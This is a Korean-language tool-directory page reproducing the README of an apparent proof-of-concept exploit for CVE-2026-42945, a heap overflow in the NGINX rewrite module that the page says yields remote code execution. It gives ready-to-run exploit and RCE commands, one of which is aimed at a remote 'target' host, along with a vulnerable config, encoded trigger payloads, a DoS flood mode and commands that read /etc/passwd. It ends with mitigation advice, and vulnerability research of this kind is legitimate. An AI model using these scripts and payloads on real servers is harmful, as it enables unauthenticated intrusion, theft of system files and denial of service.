Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
nginx-cve-2026-42945-poc — CVE-2026-42945 개념 증명 익스플로잇으로, NGINX rewrite 모듈의 치명적인 힙 오버플로우를 통해 조작된 URI 인코딩을 이용한 인증되지 않은 원격 코드 실행을 가능하게 합니다. Docker 기반 테스트 환경, ASAN 검증, 여러 익스플로잇 스크립트를 포함합니다. | Kitploit
도구/GitHubGitHub/forxiucn/nginx-cve-2026-42945-poc
Container SecurityDynamic Analysis (Sandboxing)Vulnerability AnalysisExploitationWeb Application ExploitationFuzzingPenetration TestingBinary Exploitation

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
GitHub
forxiucn/nginx-cve-2026-42945-poc

nginx-cve-2026-42945-poc

CVE-2026-42945 개념 증명 익스플로잇으로, NGINX rewrite 모듈의 치명적인 힙 오버플로우를 통해 조작된 URI 인코딩을 이용한 인증되지 않은 원격 코드 실행을 가능하게 합니다. Docker 기반 테스트 환경, ASAN 검증, 여러 익스플로잇 스크립트를 포함합니다.

저장소 보기
153개월 전아직 검토되지 않음

CVE-2026-42945 — NGINX Rewrite Module 힙 버퍼 오버플로 → RCE

RCE 성공적으로 확인됨 — 힙 오버플로 + GDB 프로세스 주입을 통해, NGINX / OpenResty worker 프로세스에서 임의 명령 실행.

빠른 시작

root@kitploit:~
#一键构建 NGINX 镜像 + 执行 RCE 测试
./run.sh nginx

#一键构建 OpenResty 镜像 + 执行 RCE 测试
./run.sh openresty

#自定义命令
./run.sh nginx 'cat /etc/passwd'
./run.sh openresty 'whoami'

취약점 개요

속성값
CVE 번호CVE-2026-42945
취약점 유형힙 버퍼 오버플로 → 원격 코드 실행 (RCE)
영향을 받는 구성 요소ngx_http_rewrite_module
영향을 받는 버전NGINX 0.6.27 ~ 1.30.1, NGINX Plus R32 ~ R36
취약점 점수CVSS 9.4 (CRITICAL)
악용 조건인증 불필요; RCE는 ptrace 권한 필요 (root)

취약점 근본 원인

ngx_http_script_complex_value_code()는 URI 디코딩 후 길이에 따라 버퍼를 할당하지만, ngx_http_script_copy_capture_code()는 ngx_escape_uri()를 호출하여 인코딩 후 길이에 따라 씁니다. URL 인코딩 문자가 3배로 팽창 → 힙 오버플로.

트리거 조건

세 가지 조건이 동시에 충족되어야 함:

  1. rewrite와 set 지시문이 동일한 location에 있음
  2. rewrite 대체 문자열에 ? 포함
  3. set이 rewrite의 캡처 변수 $1를 참조
root@kitploit:~
location ~ ^/api/(.*)$ {
    rewrite ^/api/(.*)$ /internal?migrated=true;  # 含 '?'
    set $original_endpoint $1;                     # 引用 $1
}

ASAN 확인 스택

root@kitploit:~
#0 ngx_escape_uri                    src/core/ngx_string.c:1663
#1 ngx_http_script_copy_capture_code src/http/ngx_http_script.c:1399
#2 ngx_http_rewrite_handler          src/http/modules/ngx_http_rewrite_module.c:180

프로젝트 구조

root@kitploit:~
.
├── run.sh                          # 一键构建 + 测试入口
├── README.md
│
├── scripts/                        # 测试 & 利用脚本
│   ├── rce.sh                      # 纯 Shell RCE (curl + GDB, 无 Python)
│   ├── exploit_rce.py              # Python RCE (兼容 2.7/3.x)
│   ├── exploit.py                  # PoC 主脚本 (check/exploit/rce/flood)
│   └── exploit_asan.py             # ASAN 全面扫描
│
├── package/                        # 部署 & 编排文件
│   ├── Dockerfile.rce              # NGINX 源码编译 + RCE 环境
│   ├── Dockerfile.openresty.rce    # OpenResty 源码编译 + RCE 环境
│   ├── Dockerfile                  # 基础镜像 (Alpine)
│   ├── Dockerfile.asan             # ASAN 调试镜像
│   ├── docker-compose.yml          # Docker 编排 (nginx-rce + openresty-rce)
│   ├── nginx.conf                  # NGINX 漏洞配置
│   ├── nginx-openresty.conf        # OpenResty 漏洞配置
│   ├── start_rce.sh                # NGINX RCE 容器启动脚本
│   └── start_openresty_rce.sh      # OpenResty RCE 容器启动脚本
│
└── src/                            # 源码 (编译用)
    ├── nginx-1.26.3/               # NGINX 1.26.3 源码
    ├── nginx-1.26.3.tar.gz
    └── openresty-1.25.3.1.tar.gz   # OpenResty 1.25.3.1 (内置 nginx/1.25.3)

상세 사용법

Docker 컨테이너 내 테스트

root@kitploit:~
# Shell 脚本 (无 Python 依赖)
docker exec nginx-rce bash /opt/rce.sh 'id'
docker exec nginx-rce bash /opt/rce.sh 'cat /etc/passwd'

# Python 脚本 (兼容 2.7/3.x)
docker exec nginx-rce python3 /opt/exploit_rce.py -t http://127.0.0.1:80 -c 'whoami'

# OpenResty 同理
docker exec openresty-rce bash /opt/rce.sh 'id'

호스트에서 exec로 컨테이너 진입

root@kitploit:~
docker exec -it nginx-rce bash
# 容器内:
bash /opt/rce.sh 'id'
python3 /opt/exploit_rce.py -t http://127.0.0.1:80 -c 'uname -a'

원격 대상 직접 테스트

root@kitploit:~
# 需要 root + ptrace 权限
sudo python3 scripts/exploit_rce.py -t http://target:80 -c 'id'

PoC 메인 스크립트 (네 가지 모드)

root@kitploit:~
python3 scripts/exploit.py --target http://localhost:8775 --mode check     # 检测漏洞
python3 scripts/exploit.py --target http://localhost:8775 --mode exploit   # ASAN 堆溢出验证
python3 scripts/exploit.py --target http://localhost:8775 --mode rce       # RCE 风险评估
python3 scripts/exploit.py --target http://localhost:8775 --mode flood     # DoS 压力测试

트리거 Payload

수정 권장 사항

  1. NGINX 업그레이드 to 1.30.2+
  2. 임시 완화: rewrite (? 포함) + set ($1 참조) 조합 피하기
  3. WAF 규칙: 대량의 %25/%3f/%23/%26 인코딩 요청 차단
  4. 권한 강화: echo 1 > /proc/sys/kernel/yama/ptrace_scope

참고

  • F5 Advisory K000161019
  • NGINX Source
도구 다운로드
Payload설명결과
/api/%25 × N인코딩된 %✅ 힙 오버플로
/api/%3f × N인코딩된 ?✅ 힙 오버플로
/api/%23 × N인코딩된 #✅ 힙 오버플로
/api/%26 × N인코딩된 &✅ 힙 오버플로